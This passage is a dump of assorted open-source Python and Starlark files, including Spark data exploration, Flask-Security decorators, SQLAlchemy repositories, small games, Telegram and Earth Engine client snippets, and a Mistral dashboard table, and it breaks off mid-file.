+{"seq_id":"490558632","text":"\n\nimport os\nimport sys\nimport time\n\n\nos.environ['SPARK_HOME']=\"/spark/spark-1.6.0-bin-hadoop2.6/\"\n\nsys.path.append(\"/spark/spark-1.6.0-bin-hadoop2.6/python\")\n\ntry:\n    from pyspark import SparkContext\n    from pyspark import SparkConf\n    import pyspark.mllib.linalg.distributed.CoordinateMatrix\n    import pyspark.mllib.linalg.distributed.MatrixEntry\n    from pyspark.mllib.linalg import Vectors\n    import numpy as np\n\n    print (\"Successfully imported Spark Modules\")\n\n\n    if __name__ == \"__main__\":\n        start_time = time.time()\n        master = \"local\"\n        sc = SparkContext(master, \"WordCount\")\n\n        path = \"/ydata-ymusic-user-song-ratings-meta-v1_03/\"\n        data = sc.textFile(path + \"train_0_sub_100k.txt\")\n\n        data = data.repartition(8)\n        data.count()\n\n        # distribution of the ratings\n        drt = data.map(lambda x: (x.split(\"\\t\")[2], 1))\n        drt1 = drt.reduceByKey(lambda x,y: x+y).collectAsMap()\n\n        # distribution of songs by genre\n        #  \"song id<TAB>albumid<TAB>artist id<TAB>genre id\"\n        gendata = sc.textFile(path+\"song-attributes.txt\")\n        gdata = gendata.map(lambda x: (x.split(\"\\t\")[0], x.split(\"\\t\")[3]))\n\n\n        gendata1 = (gendata.map(lambda x: (x.split(\"\\t\")[3], 1))\n            .reduceByKey(lambda x,y: x+y)\n            .takeOrdered(10, key = lambda x: -x[1])\n                    )\n\n        ###Top 5 genre\n        data = sc.textFile(path + \"train_0.txt\")\n        data = data.repartition(8)\n        songs_ratings = data.map(lambda x: (x.split(\"\\t\")[1], 1))\n        song_attributes = (sc.textFile(path+\"song-attributes.txt\")\n                           .map(lambda x: (x.split(\"\\t\")[0], x.split(\"\\t\")[3])))\n\n        top5genre = (song_attributes.join(songs_ratings)\n                     .map(lambda x: (x[1][0], x[1][1]))\n                     .reduceByKey(lambda x,y: x+y)\n                     .takeOrdered(5, key= lambda x:-x[1]))\n\n        ###Top 5 songs\n        top5songs = (songs_ratings.reduceByKey(lambda x,y: x+y)\n                     .takeOrdered(5, key = lambda x: -x[1]))\nexcept ImportError as e:\n    print (\"Can not import Spark Modules\", e)\n    sys.exit(1)\n\n\n","sub_path":"scripts-Swetha/edacode.py","file_name":"edacode.py","file_ext":"py","file_size_in_byte":2147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"23385415","text":"from Jumpscale import j\n\n\nclass BuilderRocksDB(j.baseclasses.builder):\n    def build(self, reset=True, install=True):\n        self.install(reset=reset)\n\n    def install(self, reset=False):\n        # install required packages to run.\n        if self._done_check(\"install\", reset):\n            return\n        j.builders.system.python_pip.install(\n            \"http://home.maxux.net/wheelhouse/python_rocksdb-0.6.9-cp35-cp35m-manylinux1_x86_64.whl\"\n        )\n\n        self._done_set(\"install\")\n","sub_path":"JumpscaleBuildersExtra/db/BuilderRocksDB.py","file_name":"BuilderRocksDB.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"316193059","text":"import random \nwinning_number = random.randint(1,100)\nguess = 1\nnum = int(input(\" Enter any number : \"))\ngame_over = False\n\nwhile not game_over:\n    if num == winning_number:\n        print(f\"You Win, and You Guessed this number in {guess} times\")\n        game_over = True\n    else:   \n        if num < winning_number:\n            print(\"Too Low\")\n        \n        else:\n             print(\"Too High\")\n        guess += 1   \n        num = int(input(\"Guess Again : \"))\n             \n             # Dry - don't repeat yourself","sub_path":"number_guessing_game2.py","file_name":"number_guessing_game2.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"401886570","text":"from setuptools import setup\nimport os\n\n# Grab line that contains version number from a file,\n# then execute it into the name space.\nversion_line = None\nwith open(os.path.join('til', 'til.py')) as f:\n    for line in f.readlines():\n        if '__version__' in line:\n            version_line = line\n            break\n\n__version__ = None\nif version_line:\n    exec(version_line)\nelse:\n    raise ValueError(\"Version number not found.\")\n\nsetup(\n    name=\"cmdline-til\",\n    packages=[\"til\"],\n    entry_points={\n        \"console_scripts\": ['til = til.til:main']\n        },\n    version=__version__,\n    description=\"Python command line to record TILs (Today I Learned) quickly.\",\n    long_description=\"\"\"A python command line tool to quickly take down notes and store it in a directory in /home.\"\"\",\n    author=\"Patrick Lee\",\n    author_email=\"me@patricklee.nyc\",\n    url=\"https://github.com/patleeman/til\",\n    download_url=\"https://github.com/patleeman/til/tarball/{}\".format(__version__)\n)","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"201621007","text":"import pytest\n\nfrom dvc.exceptions import InvalidArgumentError\n\n\ndef test_file(tmp_dir, dvc):\n    msg = (\n        \"`--file` is currently incompatible with `-n|--name` \"\n        \"and requires `--single-stage`\"\n    )\n    with pytest.raises(InvalidArgumentError, match=msg):\n        dvc.run(fname=\"path/dvc.yaml\", name=\"my\", cmd=\"mycmd\")\n","sub_path":"tests/unit/repo/test_run.py","file_name":"test_run.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"276429298","text":"# -*- coding: utf-8 -*-\n\"\"\"\n    flask_security.decorators\n    ~~~~~~~~~~~~~~~~~~~~~~~~~\n\n    Flask-Security decorators module\n\n    :copyright: (c) 2012 by Matt Wright.\n    :license: MIT, see LICENSE for more details.\n\"\"\"\n\nfrom functools import wraps\n\nfrom flask import Response, abort, current_app, redirect, request, url_for\nfrom flask_login import current_user  # pragma: no flakes\nfrom flask_principal import Permission, RoleNeed\nfrom werkzeug.local import LocalProxy\nfrom werkzeug.routing import BuildError\n\nfrom . import utils\n\n# Convenient references\n_security = LocalProxy(lambda: current_app.extensions['security'])\n\n\n_default_unauthorized_html = \"\"\"\n    <h1>Unauthorized</h1>\n    <p>The server could not verify that you are authorized to access the URL\n    requested. You either supplied the wrong credentials (e.g. a bad password),\n    or your browser doesn't understand how to supply the credentials required.\n    </p>\n    \"\"\"\n\n\ndef _get_unauthorized_response(text=None, headers=None):\n    text = text or _default_unauthorized_html\n    headers = headers or {}\n    return Response(text, 401, headers)\n\n\ndef _get_unauthorized_view():\n    view = utils.get_url(utils.config_value('UNAUTHORIZED_VIEW'))\n    if view:\n        if callable(view):\n            view = view()\n        else:\n            try:\n                view = url_for(view)\n            except BuildError:\n                view = None\n        utils.do_flash(*utils.get_message('UNAUTHORIZED'))\n        redirect_to = '/'\n        if (request.referrer and\n                not request.referrer.split('?')[0].endswith(request.path)):\n            redirect_to = request.referrer\n\n        return redirect(view or redirect_to)\n    abort(403)\n\n\ndef auth_required(*auth_methods):\n    \"\"\"\n    Decorator that protects enpoints through multiple mechanisms\n    Example::\n\n        @app.route('/dashboard')\n        @auth_required('session')\n        def dashboard():\n            return 'Dashboard'\n\n    :param auth_methods: Specified mechanisms.\n    \"\"\"\n    login_mechanisms = {\n        'session': lambda: current_user.is_authenticated\n    }\n\n    def wrapper(fn):\n        @wraps(fn)\n        def decorated_view(*args, **kwargs):\n            h = {}\n            mechanisms = [(method, login_mechanisms.get(method))\n                          for method in auth_methods]\n            for method, mechanism in mechanisms:\n                if mechanism and mechanism():\n                    return fn(*args, **kwargs)\n            if _security._unauthorized_callback:\n                return _security._unauthorized_callback()\n            else:\n                return _get_unauthorized_response(headers=h)\n        return decorated_view\n    return wrapper\n\n\ndef roles_required(*roles):\n    \"\"\"Decorator which specifies that a user must have all the specified roles.\n    Example::\n\n        @app.route('/dashboard')\n        @roles_required('admin', 'editor')\n        def dashboard():\n            return 'Dashboard'\n\n    The current user must have both the `admin` role and `editor` role in order\n    to view the page.\n\n    :param args: The required roles.\n    \"\"\"\n    def wrapper(fn):\n        @wraps(fn)\n        def decorated_view(*args, **kwargs):\n            perms = [Permission(RoleNeed(role)) for role in roles]\n            for perm in perms:\n                if not perm.can():\n                    if _security._unauthorized_callback:\n                        return _security._unauthorized_callback()\n                    else:\n                        return _get_unauthorized_view()\n            return fn(*args, **kwargs)\n        return decorated_view\n    return wrapper\n\n\ndef roles_accepted(*roles):\n    \"\"\"Decorator which specifies that a user must have at least one of the\n    specified roles. Example::\n\n        @app.route('/create_post')\n        @roles_accepted('editor', 'author')\n        def create_post():\n            return 'Create Post'\n\n    The current user must have either the `editor` role or `author` role in\n    order to view the page.\n\n    :param args: The possible roles.\n    \"\"\"\n    def wrapper(fn):\n        @wraps(fn)\n        def decorated_view(*args, **kwargs):\n            perm = Permission(*[RoleNeed(role) for role in roles])\n            if perm.can():\n                return fn(*args, **kwargs)\n            if _security._unauthorized_callback:\n                return _security._unauthorized_callback()\n            else:\n                return _get_unauthorized_view()\n        return decorated_view\n    return wrapper\n\n\ndef anonymous_user_required(f):\n    @wraps(f)\n    def wrapper(*args, **kwargs):\n        if current_user.is_authenticated:\n            return redirect(utils.get_url(_security.post_login_view))\n        return f(*args, **kwargs)\n    return wrapper\n","sub_path":"flask_security/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":4727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"116022576","text":"import asyncio\n\nfrom collections import namedtuple\n\nfrom aiocache import cached, RedisCache\nfrom aiocache.serializers import PickleSerializer\n\nResult = namedtuple('Result', \"content, status\")\n\nRedisCache.set_defaults(\n    namespace=\"main\",\n    db=1,\n    pool_min_size=3,\n    serializer=PickleSerializer())\n\n\n@cached(cache=RedisCache, ttl=10, key=\"key\")\nasync def decorator():\n    return Result(\"content\", 200)\n\n\nasync def global_cache():\n    cache = RedisCache()\n    obj = await cache.get(\"key\")\n\n    assert obj.content == \"content\"\n    assert obj.status == 200\n    assert cache.db == 1\n    assert cache.pool_min_size == 3\n\n\ndef test_default_cache():\n    loop = asyncio.get_event_loop()\n    loop.run_until_complete(decorator())\n    loop.run_until_complete(global_cache())\n\n    loop.run_until_complete(RedisCache(namespace=\"main\").delete(\"key\"))\n\n\nif __name__ == \"__main__\":\n    test_default_cache()\n","sub_path":"examples/config_default_cache.py","file_name":"config_default_cache.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"21888225","text":"import math\ndef isPrime(x):\n    temp = int(math.sqrt(x))\n    for y in range(2,temp+1):\n        if(x % y == 0):\n            return False\n    return True\n\ndef primeFactors(x):\n    answer = []\n    for tmp in range(2,x):\n        if(isPrime(tmp)):\n            if(x % tmp == 0):\n                while(x % tmp == 0):\n                    x = x/tmp\n                answer.append(tmp)\n    print(answer)\nprimeFactors(270)\nprimeFactors(45)\nprint(isPrime(2))\nprint(isPrime(45))\n","sub_path":"q2.py","file_name":"q2.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"527837731","text":"load(\"@bazel_skylib//lib:collections.bzl\", \"collections\")\nload(\"@fbcode_macros//build_defs/lib:python_common.bzl\", \"python_common\")\nload(\"@fbcode_macros//build_defs/lib:visibility.bzl\", \"get_visibility\")\nload(\"@fbsource//tools/build_defs:fb_native_wrapper.bzl\", \"fb_native\")\n\ndef python_unittest(\n        name,\n        py_version = None,\n        py_flavor = \"\",\n        base_module = None,\n        main_module = None,\n        strip_libpar = True,\n        srcs = (),\n        versioned_srcs = (),\n        tags = (),\n        gen_srcs = (),\n        deps = (),\n        tests = (),\n        par_style = None,\n        emails = None,\n        external_deps = (),\n        needed_coverage = None,\n        argcomplete = None,\n        strict_tabs = None,\n        compile = None,\n        args = None,\n        env = None,\n        python = None,\n        allocator = None,\n        check_types = False,\n        preload_deps = (),\n        visibility = None,\n        resources = (),\n        jemalloc_conf = None,\n        typing = False,\n        typing_options = \"\",\n        check_types_options = \"\",\n        runtime_deps = (),\n        cpp_deps = (),  # ctypes targets\n        helper_deps = False,\n        analyze_imports = False,\n        additional_coverage_targets = (),\n        version_subdirs = None):\n    visibility = get_visibility(visibility, name)\n\n    all_attributes = python_common.convert_binary(\n        is_test = True,\n        fbconfig_rule_type = \"python_unittest\",\n        buck_rule_type = \"python_test\",\n        base_path = native.package_name(),\n        name = name,\n        py_version = py_version,\n        py_flavor = py_flavor,\n        base_module = base_module,\n        main_module = main_module,\n        strip_libpar = strip_libpar,\n        srcs = srcs,\n        versioned_srcs = versioned_srcs,\n        tags = tags,\n        gen_srcs = gen_srcs,\n        deps = deps,\n        tests = tests,\n        par_style = par_style,\n        emails = emails,\n        external_deps = external_deps,\n        needed_coverage = needed_coverage,\n        argcomplete = argcomplete,\n        strict_tabs = strict_tabs,\n        compile = compile,\n        args = args,\n        env = env,\n        python = python,\n        allocator = allocator,\n        check_types = check_types,\n        preload_deps = preload_deps,\n        visibility = visibility,\n        resources = resources,\n        jemalloc_conf = jemalloc_conf,\n        typing = typing,\n        typing_options = typing_options,\n        check_types_options = check_types_options,\n        runtime_deps = runtime_deps,\n        cpp_deps = cpp_deps,\n        helper_deps = helper_deps,\n        analyze_imports = analyze_imports,\n        additional_coverage_targets = additional_coverage_targets,\n        version_subdirs = version_subdirs,\n    )\n\n    py_tests = []\n    for attributes in all_attributes:\n        fb_native.python_test(**attributes)\n        py_tests.append(\n            (\":\" + attributes[\"name\"], attributes.get(\"tests\")),\n        )\n\n    # TODO: This should probably just be test_suite? This rule really doesn't\n    #       make sense....\n    # Create a genrule to wrap all the tests for easy running if a test was created\n    # for multiple python versions (they'll have different names)\n    if len(py_tests) > 1:\n        # We are propogating tests from sub targets to this target\n        gen_tests = []\n        for test_target, tests_attribute in py_tests:\n            gen_tests.append(test_target)\n            if tests_attribute:\n                gen_tests.extend(tests_attribute)\n        gen_tests = collections.uniq(gen_tests)\n\n        cmd = \" && \".join([\n            \"echo $(location {})\".format(test_target)\n            for test_target in gen_tests\n        ] + [\"touch $OUT\"])\n\n        fb_native.genrule(\n            name = name,\n            visibility = visibility,\n            out = \"unused\",\n            tests = gen_tests,\n            cmd = cmd,\n        )\n","sub_path":"infra_macros/fbcode_macros/build_defs/python_unittest.bzl","file_name":"python_unittest.bzl","file_ext":"bzl","file_size_in_byte":3905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"11054463","text":"from itertools import groupby\nfrom typing import Any, List\n\nimport sqlalchemy as sa\nfrom repka.api import BaseRepository, T\nfrom sqlalchemy import Table, UniqueConstraint\n\nfrom polytical_views.models import (\n    Person,\n    Tweet,\n    Sentiment,\n    FullSentiment,\n    Feature,\n    PersonScore,\n    TwitterTask,\n)\n\nmetadata = sa.MetaData()\n\npeople_table = sa.Table(\n    \"people\",\n    metadata,\n    sa.Column(\"id\", sa.Integer, primary_key=True, autoincrement=True),\n    sa.Column(\"url\", sa.String),\n    sa.Column(\"pic\", sa.String),\n    sa.Column(\"name\", sa.String),\n)\n\ntweets_table = sa.Table(\n    \"tweets\",\n    metadata,\n    sa.Column(\"id\", sa.Integer, primary_key=True, autoincrement=True),\n    sa.Column(\n        \"person_id\", sa.Integer, sa.ForeignKey(people_table.c.id), nullable=False\n    ),\n    sa.Column(\"url\", sa.String),\n    sa.Column(\"text\", sa.String),\n    sa.Column(\"created_at\", sa.DateTime),\n)\n\nfeatures_table = sa.Table(\n    \"features\",\n    metadata,\n    sa.Column(\"id\", sa.Integer, primary_key=True, autoincrement=True),\n    sa.Column(\"title\", sa.String, unique=True),\n    sa.Column(\"keywords\", sa.ARRAY(sa.String)),\n    sa.Column(\"vocab_to_int\", sa.JSON),\n    sa.Column(\"net\", sa.JSON)\n)\n\ntweets_sentiment_table = sa.Table(\n    \"tweets_sentiment\",\n    metadata,\n    sa.Column(\"id\", sa.Integer, primary_key=True),\n    sa.Column(\"tweet_id\", sa.Integer, sa.ForeignKey(tweets_table.c.id)),\n    sa.Column(\"feature_id\", sa.Integer, sa.ForeignKey(features_table.c.id)),\n    sa.Column(\"sentiment\", sa.Integer),\n    UniqueConstraint(\"tweet_id\", \"feature_id\"),\n)\n\ntwitter_tasks_table = sa.Table(\n    \"twitter_task\",\n    metadata,\n    sa.Column(\"id\", sa.Integer, primary_key=True),\n    sa.Column(\"result_id\", sa.Integer, sa.ForeignKey(people_table.c.id)),\n    sa.Column(\"status\", sa.Integer),\n)\n\n\nclass PersonRepository(BaseRepository[Person]):\n    @property\n    def table(self) -> Table:\n        return people_table\n\n    def deserialize(self, **kwargs: Any) -> T:\n        return Person(**kwargs)\n\n\nclass TweetRepository(BaseRepository[Tweet]):\n    @property\n    def table(self) -> Table:\n        return tweets_table\n\n    def deserialize(self, **kwargs: Any) -> T:\n        return Tweet(**kwargs)\n\n\nclass FeatureRepository(BaseRepository[Feature]):\n    @property\n    def table(self) -> Table:\n        return features_table\n\n    def deserialize(self, **kwargs: Any) -> T:\n        return Feature(**kwargs)\n\n\nclass SentimentRepository(BaseRepository[Sentiment]):\n    @property\n    def table(self) -> Table:\n        return tweets_sentiment_table\n\n    @property\n    def features_table(self) -> Table:\n        return features_table\n\n    @property\n    def tweets_table(self) -> Table:\n        return tweets_table\n\n    def deserialize(self, **kwargs: Any) -> T:\n        return Sentiment(**kwargs)\n\n    async def get_full_sentiments(self, tweet_id: int) -> List[FullSentiment]:\n        join = sa.join(\n            self.table,\n            self.features_table,\n            self.table.c.feature_id == self.features_table.c.id,\n        )\n        query = (\n            sa.select(\n                [*self.table.c, self.features_table.c.title.label(\"feature_name\")]\n            )\n            .select_from(join)\n            .where(self.table.c.tweet_id == tweet_id)\n        )\n        return [FullSentiment(**row) async for row in self.connection.execute(query)]\n\n    async def get_person_scores(self, person_id: int) -> List[PersonScore]:\n        scores = await self.get_all_people_scores()\n        return [score for score in scores if score.person_id == person_id]\n\n    async def get_all_people_scores(self) -> List[PersonScore]:\n        join = sa.join(\n            sa.join(\n                self.table,\n                self.tweets_table,\n                self.table.c.tweet_id == self.tweets_table.c.id,\n            ),\n            self.features_table,\n            self.table.c.feature_id == self.features_table.c.id,\n        )\n\n        query = (\n            sa.select(\n                [\n                    self.tweets_table.c.person_id,\n                    self.features_table.c.id.label(\"feature_id\"),\n                    self.features_table.c.title.label(\"feature_name\"),\n                    self.table.c.sentiment,\n                    self.tweets_table.c.id.label(\"tweet_id\"),\n                ]\n            )\n            .select_from(join)\n            .order_by(\"person_id\", \"feature_id\")\n        )\n\n        rows = await self.connection.execute(query)\n        rows_list = [row async for row in rows]\n\n        grouped = groupby(rows_list, lambda row: (row.person_id, row.feature_id))\n\n        res = []\n        for (person_id, feature_id), group in grouped:\n            group_list = list(group)\n\n            score = PersonScore(\n                person_id=person_id,\n                feature_id=feature_id,\n                feature_name=group_list[0].feature_name,\n                score=sum(row.sentiment for row in group_list) / len(group_list),\n                reasons=[row.tweet_id for row in group_list],\n            )\n            res.append(score)\n\n        return res\n\n\nclass TwitterTaskRepository(BaseRepository[TwitterTask]):\n    @property\n    def table(self) -> Table:\n        return twitter_tasks_table\n\n    def deserialize(self, **kwargs: Any) -> T:\n        return TwitterTask(**kwargs)\n\n    async def get_by_result_id(self, result_id: int):\n        return (await self.get_all([self.table.c.result_id == result_id]))[0]\n","sub_path":"polytical_views/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":5416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"253954183","text":"from module import *\nfrom DCview import *\n\nclass DCplayer(Hand):\n    def __init__(self):\n        super(DCplayer, self).__init__()\n        self.check_correct=[]\n\n    def __str__(self):\n        show=super(DCplayer, self).__str__()\n        show+=\"    \"\n        for check in self.check_correct:\n            show+=check.rjust(8)+\"  \"\n        return show\n\n    def set_Joker(self):\n        left=[]\n        right=[]\n        while self.joker!=0:\n            print(\"You have to insert your Joker! \",end='')\n            loc=Reader.select_loc(self, self)\n            if self.cards[len(self.cards)-1].color==\"White\":\n                self.white_joker=loc\n            else:\n                self.black_joker=loc\n            left=self.cards[:loc-1]\n            right=self.cards[loc-1:]\n            left.append(self.cards[len(self.cards)-self.joker])\n            right.remove(self.cards[len(self.cards)-self.joker])\n            self.cards=left+right\n            self.joker=self.joker-1\n\n    def match(self, card, you):\n        num=0\n        import random\n        while True:\n            num=random.randrange(len(self.cards))\n            if self.check_correct[num]==\"Covered\":\n                break\n        if self.cards[num-1]==card:\n            print(\"\\n\\n\\n\\n\\nCPU is right\")\n            self.cards[self.cards.index(card)].check=1\n        else:\n            print(\"\\n\\n\\n\\n\\nCPU is wrong\")\n            you.wrong()\n\n    def status(self):\n        for i in range(len(self.cards)):\n            if self.cards[i].check==0:\n                self.check_correct[i]=\"Covered\"\n            else:\n                self.check_correct[i]=\"Opened\"\n\n    def sorting(self, card):\n        super(DCplayer, self).sorting(card)\n        for i in range(len(self.cards)):\n            self.check_correct[i]=\" \"\n        self.status()\n\n\n    def check_win(self, you):\n        count=0\n        for card in you.cards:\n            if card.face_up:\n                count+=1\n        if count==len(you.cards):\n            self.win()\n            return True\n\n    def check_lose(self):\n        count=0\n        for card in self.cards:\n            if card.check==1:\n                count+=1\n        if count==len(self.cards):\n            self.lose()\n            return True\n\n    def wrong(self):\n        print(\"You wrong! You have to open your card.\")\n        loc=Reader.select_loc(self, self)\n        while True:\n            if self.check_correct[loc-1]==\"Covered\":\n                self.cards[loc-1].check=1\n                self.sorting(None)\n                break\n            else:\n                loc=Reader.select_loc(self, self)\n\nclass DCcpu(Hand):\n    def __init__(self, cards):\n        super(DCcpu, self).__init__()\n        self.ans=cards\n        self.check_correct=[]\n\n    def choose_loc(self):#조커 위치\n        loc=0\n        for i in range(len(self.cards)-1):\n            if int(self.cards[i+1].number)-int(self.cards[i].number)>3:\n                return i\n            elif int(self.cards[i+1].number)-int(self.cards[i].number)==0:\n                import random\n                return i+1\n            else:\n                import random\n                loc=random.randrange(2)\n                if loc==0:\n                    return 2\n                else:\n                    return len(self.cards)-1\n\n    def set_Joker(self):\n        left=[]\n        right=[]\n        while self.joker!=0:\n            loc=self.choose_loc()\n            if self.cards[len(self.cards)-1].color==\"White\":\n                self.white_joker=loc\n            else:\n                self.black_joker=loc\n            left=self.cards[:loc-1]\n            right=self.cards[loc-1:]\n            left.append(self.cards[len(self.cards)-self.joker])\n            right.remove(self.cards[len(self.cards)-self.joker])\n            self.cards=left+right\n            self.joker=self.joker-1\n        \n    def correct_ans(self):\n        for i in range(len(self.cards)):\n            for j in range(len(self.ans)):\n                if self.cards[i].color==self.ans[j].color\\\n                        and self.cards[i].number==self.ans[j].number:\n                    self.ans.remove(self.ans[j])\n                    break\n        import random\n        return self.ans[random.randrange(len(self.ans))]\n\n    def wrong(self):\n        while True:\n            import random\n            loc=random.randrange(len(self.cards))\n            if not self.cards[loc].face_up:\n                self.cards[loc].flip()\n                break\n","sub_path":"DaVinci.py","file_name":"DaVinci.py","file_ext":"py","file_size_in_byte":4428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"547056823","text":"#! /usr/bin/python3\n#-*- coding:utf-8 -*-\n\nfrom influxdb import InfluxDBClient\nfrom datetime import datetime\n\nprotocol = 'line'\ndef write2db(datatype,data,client):\n    tmp = [{\"measurement\":None,\"tags\":{},\"fields\":{},\"time\":datetime.now().isoformat()}]\n    tmp[0][\"measurement\"] = datatype[\"measurement\"]\n    for x in datatype['tags']:\n        tmp[0][\"tags\"][x] = getattr(data,x)\n    for y in datatype['fields']:\n        tmp[0][\"fields\"][y] = getattr(data,y)\n    for z in datatype['time']:\n        tmp[0]['time'][z] = getattr(data,z)\n    client.write_points(tmp)","sub_path":"plugins/db_modules.py","file_name":"db_modules.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"305545161","text":"import asyncio\nimport configparser\nimport json\nfrom sqlite3 import OperationalError\n\nfrom telethon import TelegramClient\n\nclient = None\nclass TelegramConnection:\n\n    def __init__(self):\n        config = configparser.ConfigParser()\n        config.read(\"config.ini\")\n\n        self.api_id = config['Telegram']['api_id']\n        self.api_hash = str(config['Telegram']['api_hash'])\n\n        self.phone = config['Telegram']['phone']\n        self.username = config['Telegram']['username']\n\n    def set_credtional(self, api_id, api_hash, phone, username):\n        self.api_id = api_id\n        self.api_hash = api_hash\n        self.phone = phone\n        self.username = username\n\n    async def get_client(self):\n        global client\n        try:\n            if client is not None:\n                return client\n            client = TelegramClient(self.username, api_id=self.api_id, api_hash=self.api_hash)\n            await client.start()\n            return client\n        except Exception as e:\n            print(e)\n            return None\n","sub_path":"global_utils/connect.py","file_name":"connect.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"67873777","text":"# Copyright 2021 The Google Earth Engine Community Authors\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#    https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# [START earthengine__apidocs__ee_data_getdownloadid]\n\"\"\"Demonstrates the ee.data.getDownloadId method.\"\"\"\n\nimport io\nimport requests\nimport ee\n\n\nee.Authenticate()\nee.Initialize()\n\n# A Sentinel-2 surface reflectance image.\nimg = ee.Image('COPERNICUS/S2_SR/20210109T185751_20210109T185931_T10SEG')\n\n# A small region within the image.\nregion = ee.Geometry.BBox(-122.0859, 37.0436, -122.0626, 37.0586)\n\n# Image chunk as a NumPy structured array.\nimport numpy\ndownload_id = ee.data.getDownloadId({\n    'image': img,\n    'bands': ['B3', 'B8', 'B11'],\n    'region': region,\n    'scale': 20,\n    'format': 'NPY'\n})\nresponse = requests.get(ee.data.makeDownloadUrl(download_id))\ndata = numpy.load(io.BytesIO(response.content))\nprint(data)\nprint(data.dtype)\n\n# Single-band GeoTIFF files wrapped in a zip file.\ndownload_id = ee.data.getDownloadId({\n    'image': img,\n    'name': 'single_band',\n    'bands': ['B3', 'B8', 'B11'],\n    'region': region\n})\nresponse = requests.get(ee.data.makeDownloadUrl(download_id))\nwith open('single_band.zip', 'wb') as fd:\n  fd.write(response.content)\n\n# Multi-band GeoTIFF file wrapped in a zip file.\ndownload_id = ee.data.getDownloadId({\n    'image': img,\n    'name': 'multi_band',\n    'bands': ['B3', 'B8', 'B11'],\n    'region': region,\n    'scale': 20,\n    'filePerBand': False\n})\nresponse = requests.get(ee.data.makeDownloadUrl(download_id))\nwith open('multi_band.zip', 'wb') as fd:\n  fd.write(response.content)\n\n# Band-specific transformations.\ndownload_id = ee.data.getDownloadId({\n    'image': img,\n    'name': 'custom_single_band',\n    'bands': [\n        {'id': 'B3', 'scale': 10},\n        {'id': 'B8', 'scale': 10},\n        {'id': 'B11', 'scale': 20}\n    ],\n    'region': region\n})\nresponse = requests.get(ee.data.makeDownloadUrl(download_id))\nwith open('custom_single_band.zip', 'wb') as fd:\n  fd.write(response.content)\n\n# Multi-band GeoTIFF file.\ndownload_id = ee.data.getDownloadId({\n    'image': img,\n    'bands': ['B3', 'B8', 'B11'],\n    'region': region,\n    'scale': 20,\n    'format': 'GEO_TIFF'\n})\nresponse = requests.get(ee.data.makeDownloadUrl(download_id))\nwith open('multi_band.tif', 'wb') as fd:\n  fd.write(response.content)\n# [END earthengine__apidocs__ee_data_getdownloadid]\n","sub_path":"samples/python/apidocs/ee_data_getdownloadid.py","file_name":"ee_data_getdownloadid.py","file_ext":"py","file_size_in_byte":2829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"464777027","text":"# Copyright (c) 2016. Zuercher Hochschule fuer Angewandte Wissenschaften\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n#    you may not use this file except in compliance with the License.\n#    You may obtain a copy of the License at\n#\n#        http://www.apache.org/licenses/LICENSE-2.0\n#\n#    Unless required by applicable law or agreed to in writing, software\n#    distributed under the License is distributed on an \"AS IS\" BASIS,\n#    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#    See the License for the specific language governing permissions and\n#    limitations under the License.\n\nfrom django.core.urlresolvers import reverse\n\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.utils.translation import ungettext_lazy\n\nfrom horizon import tables\n\nfrom mistraldashboard import api\nfrom mistraldashboard.default.utils import humantime\n\n\nclass CreateDelayTolerantWorkload(tables.LinkAction):\n    name = \"create\"\n    verbose_name = _(\"Create Delay Tolerant Workload\")\n    url = \"horizon:mistral:delayt_workloads:create\"\n    classes = (\"ajax-modal\",)\n    icon = \"plus\"\n\n\nclass DeleteDelayTolerantWorkload(tables.DeleteAction):\n    @staticmethod\n    def action_present(count):\n        return ungettext_lazy(\n            u\"Delete Delay Tolerant Workload\",\n            u\"Delete Delay Tolerant Workloads\",\n            count\n        )\n\n    @staticmethod\n    def action_past(count):\n        return ungettext_lazy(\n            u\"Deleted Delay Tolerant Workload\",\n            u\"Deleted Delay Tolerant Workloads\",\n            count\n        )\n\n    def delete(self, request, delay_tolerant_workload_name):\n        api.delay_tolerant_workload_delete(request,\n                                          delay_tolerant_workload_name)\n\n\nclass WorkflowColumn(tables.Column):\n    def get_link_url(self, datum):\n        workflow_url = \"horizon:mistral:workflows:detail\"\n        obj_id = datum.workflow_name\n        return reverse(workflow_url, 